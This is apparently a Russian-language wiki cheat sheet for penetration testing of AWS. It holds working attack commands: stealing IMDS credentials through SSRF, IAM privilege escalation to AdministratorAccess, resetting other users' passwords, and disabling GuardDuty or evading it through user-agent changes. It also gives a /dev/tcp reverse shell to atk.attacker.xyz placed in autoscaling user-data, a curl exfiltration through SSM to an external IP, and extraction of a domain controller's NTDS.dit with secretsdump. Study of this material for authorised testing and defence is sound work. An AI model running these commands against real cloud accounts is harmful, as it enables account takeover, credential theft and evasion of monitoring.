 +
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]
 +
 
 +
== Книги ==
 +
 
 +
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]

Текущая версия на 11:11, 23 октября 2022

AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.

Содержание

Организационные моменты

При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).

Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/

Общие концепции

Службы

Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.


Это экосистема многих сервисов. И AWS стремится увеличить их количество.

Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.


Регионы

AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.

Регионы AWS
Название региона Endpoint(HTTPS)
us-east-2 rds.us-east-2.amazonaws.com

rds-fips.us-east-2.api.aws

rds.us-east-2.api.aws

rds-fips.us-east-2.amazonaws.com

us-east-1 rds.us-east-1.amazonaws.com

rds-fips.us-east-1.api.aws

rds-fips.us-east-1.amazonaws.com

rds.us-east-1.api.aws

us-west-1 rds.us-west-1.amazonaws.com

rds.us-west-1.api.aws

rds-fips.us-west-1.amazonaws.com

rds-fips.us-west-1.api.aws

us-west-2 rds.us-west-2.amazonaws.com

rds-fips.us-west-2.amazonaws.com

rds.us-west-2.api.aws

rds-fips.us-west-2.api.aws

af-south-1 rds.af-south-1.amazonaws.com

rds.af-south-1.api.aws

ap-east-1 rds.ap-east-1.amazonaws.com

rds.ap-east-1.api.aws

ap-southeast-3 rds.ap-southeast-3.amazonaws.com
ap-south-1 rds.ap-south-1.amazonaws.com

rds.ap-south-1.api.aws

ap-northeast-3 rds.ap-northeast-3.amazonaws.com

rds.ap-northeast-3.api.aws

ap-northeast-2 rds.ap-northeast-2.amazonaws.com

rds.ap-northeast-2.api.aws

ap-southeast-1 rds.ap-southeast-1.amazonaws.com

rds.ap-southeast-1.api.aws

ap-southeast-2 rds.ap-southeast-2.amazonaws.com

rds.ap-southeast-2.api.aws

ap-northeast-1 rds.ap-northeast-1.amazonaws.com

rds.ap-northeast-1.api.aws

ca-central-1 rds.ca-central-1.amazonaws.com

rds.ca-central-1.api.aws

rds-fips.ca-central-1.api.aws

rds-fips.ca-central-1.amazonaws.com

eu-central-1 rds.eu-central-1.amazonaws.com

rds.eu-central-1.api.aws

eu-west-1 rds.eu-west-1.amazonaws.com

rds.eu-west-1.api.aws

eu-west-2 rds.eu-west-2.amazonaws.com

rds.eu-west-2.api.aws

eu-south-1 rds.eu-south-1.amazonaws.com

rds.eu-south-1.api.aws

eu-west-3 rds.eu-west-3.amazonaws.com

rds.eu-west-3.api.aws

eu-north-1 rds.eu-north-1.amazonaws.com

rds.eu-north-1.api.aws

me-south-1 rds.me-south-1.amazonaws.com

rds.me-south-1.api.aws

sa-east-1 rds.sa-east-1.amazonaws.com

rds.sa-east-1.api.aws

us-gov-east-1 rds.us-gov-east-1.amazonaws.com
us-gov-west-1 rds.us-gov-west-1.amazonaws.com

Или только регионы (могут пригодиться при переборе):

us-east-2
us-east-1
us-west-1
us-west-2
af-south-1
ap-east-1
ap-southeast-3
ap-south-1
ap-northeast-3
ap-northeast-2
ap-southeast-1
ap-southeast-2
ap-northeast-1
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-south-1
eu-west-3
eu-north-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1

Доступы

Консольная утилита(awscli)

Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.

Утилита работает с настроенными профилями.

Файлы

~/.aws/credentials

Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.

У каждого профиля будет указан:

  • Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..."
  • Access Key - 40 случайных символов различного регистра.
  • Access Token - не всегда указывается

Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings

Пример содержимого файла (сохранен профиль default):

[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk

~/.aws/config

Файл с региональными настройками профиля(регион по-умолчанию).

[default]
region=us-west-2
output=json

~/.aws/cli/cache

Закешированные учетные данные

~/.aws/sso/cache

Закешированные данные Single-Sign-On

Команды

Общее построение команды выглядит как:

aws <название_сервиса> <действие> <дополнительные_аргументы>

Примеры:

# Вывести все S3-хранилища.
aws s3 ls

# Создание нового пользователя - сервис IAM
aws iam create-user --user-name aws-admin2

IMDS (Instance Metadata Service)

Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.

Есть 2 версии:

  • IMDSv1 - версия 1 по-умолчанию, не требует токен.
  • IMDSv2 - версия 2, для запросов требуется токен.

Запрос без токена:

curl http://169.254.169.254/latest/meta-data/

Запрос с токеном:

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/

Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):

# В начале делаем запрос на директорию /security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Потом выбираем нужный аккаунт и делаем запрос на него
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account

Пример ответа:

{ 
    "Code" : "Success", 
    "LastUpdated" : "2019-12-03T07:15:34Z", 
    "Type" : "AWS-HMAC", 
    "AccessKeyId" : "xxxxxxxxxxxxxxxxxxx", 
    "SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx", 
    "Token" : "xxxxxxxxxxxxxxxxxxxxx", 
    "Expiration" : "2019-12-03T13:50:22Z"
}

После чего эти учетные данные можно использовать с awscli.


Другие полезные Endpoint'ы:

http://169.254.169.254/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document

Ролевая модель

Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:

  • trust policy - определяет, чья будет роль
  • permissions policy - определяет какой доступ будет у тех, у кого эта роль.



Каждая политика состоит из следующих компонентов:

  • Ресурс - цель, кому выдается правило. Может быть:
    • Пользователь
    • Группа, в которой могут быть аккаунты по какому то признаку
    • Другая политика.
  • Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
  • Тип правила(Effect) - разрешение или запрет.
  • Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
  • Условия(Condition) - отдельные условия, например, ip.

Пример политики:

{
    "Version": "2012-10-17",  //Версия политики
    "Statement": [  
        {
            "Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор
            "Effect": "Allow", //Разрешить или запретить
            "Action": [  //Разрешенные/Запрещенные действия
                "ec2:AttachVolume",
                "ec2:DetachVolume"
            ], 
            "Resource": [ //На какие ресурсы можно/нельзя совершать действия
                "arn:aws:ec2:*:*:volume/*",
                "arn:aws:ec2:*:*:instance/*"
            ],
            "Condition": { //Опционально - условия срабатывания
                "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
            }
        }
    ]
}

Определение ролей

Вручную

TODO команды по определению своих ролей

Автоматизированно

Эксплуатация

Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.


Тут будут отдельные роли, которые не прикреплены ни к одному сервису.

Административный доступ

Как выглядит роль с административным доступом:

"Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "*"
      ],
      "Resource": "*"
    }
]

Службы

IAM

Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.


Роли - повышение привилегий

iam:UpdateLoginProfile

Сбросить пароль у других пользователей:

aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:PassRole + ec2:RunInstance

См. EC2

iam:PassRole + glue:CreateDevEndpoint

См. Glue

iam:PutRolePolicy

Создать или обновить inline-политику для роли.

iam:PutGroupPolicy

Создать или обновить inline-политику для группы.

iam:PuserUserPolicy

Создать или обновить inline-политику.

iam:UpdateAssumeRolePolicy + sts:AssumeRole

Обновить документ "AssumeRolePolicyDocument" для роли.

Роли - повышение до админа

iam:AddUserToGroup

Добавить юзера в административную группу:

aws iam add-user-to-group --group-name <название_группы> --user-name <логин>

iam:PutUserPolicy

Право добавить своб политику к ранее скомпрометированным обьектам.

aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json

iam:CreateLoginProfile

Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.

aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:UpdateLoginProfile

Добавить существующую политику к любому пользователю.

aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess


iam:AttachGroupPolicy

Добавить существующую политику к любой группе.

aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:AttachRolePolicy

Добавить существующую политику к любой роли.

aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:CreatePolicy

Создать административную политику.

iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion

Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.

Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.

# Создание политики
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
# Установка политики по умолчанию.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile

См. EC2


iam:AttachUserPolicy

Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.

AWS Shield

Сервис для защиты от DDoS.


Cognito

Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.

Основное

Cognito отвечает за следующие действия:

  • Регистрация пользователя (email + пароль)
  • Авторизация пользователя
  • Работа с сохраненной пользовательской информацией (устанавливается приложением)
  • Специальные действия (например, предоставление AWS-ключей)


Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).


Пример URL: cognito-identity.us-east-1.amazonaws.com


За действие отвечает HTTP-заголовок "X-Amz-Target". В своем роде, это Endpoints API.


Какие параметры требуются для работы с ним:

1. Название Endpoint'а - "X-Amz-Target" заголовок

2. Регион - "aws_project_region" параметр

3. Session token - позже требуется для запросов.

4. Identity Pool ID - нужен для запросов типа Identity Pools.


Также пишут, что Cognito разделяется на две основные части:

  • User Pools - для тех, кому нужна только регистрация и аутентификация
  • Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.



X-Amz-Target (Endpoints)

AWSCognitoIdentityService.UpdateUserAttributes

У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.

Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a

Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.

P.S. Мб неверно название Endpoint'а. Надо проверять.


AWSCognitoIdentityService.GetCredentialsForIdentity

Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.

Требуется aws_identity_pool_id.

В некоторых примерах оно также было указано как "com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity"


Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963


AWSCognitoIdentityService.GetOpenIdToken

Позволяет получить OpenID токен, действительный на 10 минут.

В примере требуется только "IdentityID"


AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity

Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый "IdentityID" (если он не был указан).


AWSCognitoIdentityService.GetCredentialsForIdentity

Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.

https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html

GuardDuty

Сервис для детектирования атак используя машинное обучение.

Для детекта использует следующие сервисы:

  • CloudTrail
  • VPC Flow Logs
  • DNS Logs
  • ...to be continued

Обход защиты

Далее идут правила детекта и то, как их можно обойти.

UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration

Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).

Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).

Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы. Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.

Может быть для этого выгодно держать проксирующий сервер EC2.

UserAgent rules

Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. Варианты:

  • Использовать утилиту pacu (уже есть смена User-Agent)
  • Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.

Роли - Управление

Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html

guardduty:UpdateDetector

Позволяет выключить GuardDuty (ну или редатировать правила):

aws guardduty update-detector --detector-id <id of detector> --no-enable

guardduty:DeleteDetector

Удалить правило детектирования:

aws guardduty delete-detector --detector-id <id of detector>

STS (Security Token Service)

Сервис, позволяющий запросить временные учетные данные с ограниченными примилегиями для IAM-пользователей

KMS (Key Management Service)

Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.

Администраторы амазона не смогут получить к ним доступ.


Ключи со временем обновляются:

  • Customers keys - раз в 365 дней
  • AWS keys - раз в 3 года.


Старые ключи также можно будет использовать для расшифровки.

CloudHSM (Hardware Security Module)

Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению.

Пишут, что устройство будет закреплено только за вами.

Также можно получить доступ к CloudHSM-Instance по SSH.

Athena

Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.

Умеет работать с шифрованными S3 и сохранять шифрованный вывод.

EBS (Elastic Block Store)

Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).

Роли - управление сервисом

ec2:CreateVolume + ec2:AttachVolume

Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.

# Создание Volume из snapshot'а (если требуется подключить snapshot)
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
# Подключение Volume к виртуалке EC2

Далее идем на виртуалку и вводим команды:

# Поиск Volume
lsblk
# Проверка есть ли на нем данные
sudo file -s /dev/xvdf
# форматировать образ под ext4 (если неподходящая файловая система)
sudo mkfs -t ext4 /dev/xvdf
# Создаем директорию куда примонтируем позже
sudo mkdir /tmp/newvolume
# Монтируем
sudo mount /dev/xvdf /tmp/newvolume/

Диск будет доступен на /tmp/newvolume.


Lambda

Сервис для запуска своего кода в облаке.

Роли - повышение привилегий

lambda:UpdateFunctionCode

Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:

aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip

lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole

Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.

Код функции:

import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
    UserName='my_username',
    PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

Команды для запуска:

# Создание функции
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
# Запуск
aws lambda invoke --function-name my_function output.txt

Роли - управление

lambda:GetFunction

Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.

Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):

# Получить список функций
aws lambda list-functions --profile uploadcreds
# Получить информацию о Lambda-функции
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
# Скачать исходный код по ссылке из предыдущего ответа
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds

Glue

Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.

Роли - повышение привилегий

glue:UpdateDevEndpoint

Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:

# TODO: это не обновление параметров, надо обновить команду
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub

glue:CreateDevEndpoint + iam:PassRole

Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:

aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub

S3

Файловое хранилище, доступное по http(s).

Формат ссылки:

https://{bucket_name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket_name}/

# US Standard
http://s3.amazonaws.com
# Ireland
http://s3-eu-west-1.amazonaws.com
# Northern California
http://s3-us-west-1.amazonaws.com
# Singapore
http://s3-ap-southeast-1.amazonaws.com
# Tokyo
http://s3-ap-northeast-1.amazonaws.com

Делать запросы можно:

  • В браузере - http(s)
  • Используя awscli:
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]


В S3 может использоваться шифрование:

  • SSE-KMS - Server-Side с ключами KMS
  • SSE-C - Server-Side с ключами заказчика
  • CSE-KMS - Client-Side с ключами KMS
  • CSE-C - Client-Side с ключами заказчика

Сбор информации

Определение региона

$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud.    5    IN    A    52.218.192.11

$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com

# Итоговый URL будет:
flaws.cloud.s3-website-us-west-2.amazonaws.com
flaws.cloud.s3-us-west-2.amazonaws.com

Если будет некорректный регион - редиректнет на корректный.


Список файлов

На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.

Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).


Роли - управление

s3:ListBucket

Посмотреть список файлов в S3-хранилище:

aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]

s3:ListAllMyBuckets

Посмотреть список всех S3-хранилищ, доступных мне:

aws s3api list-buckets
aws s3 ls

CloudFront

Сервис сети доставки контента (CDN).


Формат ссылки:

https://{random_id}.cloudfront.net

EC2 (Elastic Compute Cloud)

EC2 (Amazon Elastic Compute Cloud) == VPS


Состоит из:

  • Instance - название виртуальной машины
  • AMI (Amazon Machine Image) - образ виртуальной машины
  • SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.


Формат ссылки:

ec2-{ip-seperated}.compute-1.amazonaws.com

SSM Agent

Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.

Его тоже можно выбрать целью атаки

MITM

Есть возможность вклиниваться в общение от SSM-Агента локально.

PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception

Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/


Роли - повышение привилегий

ec2:RunInstance + iam:PassRole

Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.

1. Запуск машины c новой прикрепленной ролью

2. Подключение к ней

3. Работа с прикрепленной ролью

Создание EC2 с известным SSH-ключем:

aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456

Второй вариант - скрипт для запуска:

aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh

Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.


Роли - повышение до админа

ec2:AssociateIamInstanceProfile

Позволяет менять IAM политики/роли/пользователей

ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole

Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.

Роли - управление

ec2:CreateVolume + ec2:AttachVolume

См. EBS.

ec2:DescribeSnapshots

Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:

aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2

ec2:CreateVolume

Прзврояет примаунтить SnapShot, чтобы потом его изучить:

aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

ec2:* (Копирование EC2)

Позволяет скопировать EC2 используя AMI-images:

# Создаем новый AMI из Instance-ID
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1  

# Добавляем наш ключ в систему
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  

# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) 
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# Проверяем запустился ли инстанс
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 

# Не обязательно - редактируем группу инстанса
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# В конце работы - останавливаем и удаляем инстанс
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

ec2-instance-connect:SendSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"

# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.


# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"

# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1

# Подключаемся (кроме GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws
# Подключаемся (только для GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com

# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)
sudo systemctl restart serial-getty@ttyS0
# Если не сработало - мб требуется ребутать сервер.


Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html

ssm:SendCommand

Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:

  • Знать Instance-ID, на котором запущен сервис SSM
  • Свой сервер, на который будет приходить отстук - результат команды.

Команды для эксплуатации:

# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  
# Выполняем команду
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

# Пример - результат команды на удаленный сервер
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1

EC2:CreateSnapshot + Active Directory

См. AD.


Auto Scaling (autoscaling)

Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.

Для работы сервиса требуется:

1. Конфигурация запуска EC2.

2. Конфигурация масштабирования.


Роли - повышение привилегий

autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole

Позволяет создать и запустить конфигурацию масштабирования.

Создаем конфигурацию запуска EC2

Для создания требуется:

1. Image-id

2. iam-instance-profile


Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:

aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options "HttpEndpoint=enabled,HttpTokens=optional" --associate-public-ip-address --user-data=file://reverse-shell.sh

Пример содержимого reverse-shell.sh:

#!/bin/bash
/bin/bash -l > /dev/tcp/atk.attacker.xyz/443 0<&1 2>&1

Создаем и запускаем группу масштабируемости

Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).

aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier "subnet-aaaabbb"


Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b

AD (Directory Service)

Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.

Основные понятия:

  • EC2-Instance - VPS на которых крутится весь Active Directory


Роли - повышение привилегий

EC2:CreateSnapshot + EC2:RunInstance -> ShadowCopy

Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.


Последовательность атаки:

1. Получаем список инстансов

2. Создаем Snapshot выбранного сервера

3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего.

aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012

4. Переключаемся на аккаунт атакующего

5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot

6. Подключаемся по SSH и получаем данные из SnapShot

sudo -s
mkdir /tmp/windows
mount /dev/xvdf1 /tmp/windows/
cd  /tmp/windows/

7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:

cp /windows/Windows/NTDS/ntds.dit /home/ec2-user
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user
chown ec2-user:ec2-user /home/ec2-user/*
# Sftp - скачиваем файлы:
/home/ec2-user/SYSTEM
/home/ec2-user/ntds.dit
# Получаем учетные данные, используя Impacket-secretsdump
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets

CloudTrail

Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.

Записывает:

  • API-вызовы
  • Логины в систему
  • События сервисов
